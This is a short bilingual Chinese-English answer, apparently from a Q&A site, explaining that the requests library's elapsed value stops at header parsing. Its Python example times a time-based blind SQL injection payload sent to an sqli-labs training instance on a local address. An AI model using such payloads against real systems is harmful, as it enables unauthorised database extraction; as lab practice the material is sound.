elapsed 测量从发送请求到完成解析响应headers 之间的时间，而不是直到传输完整响应.

elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transfered.

如果你想测量那个时间，你需要自己测量:

If you want to measure that time, you need to measure it yourself:

import requests
import time

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip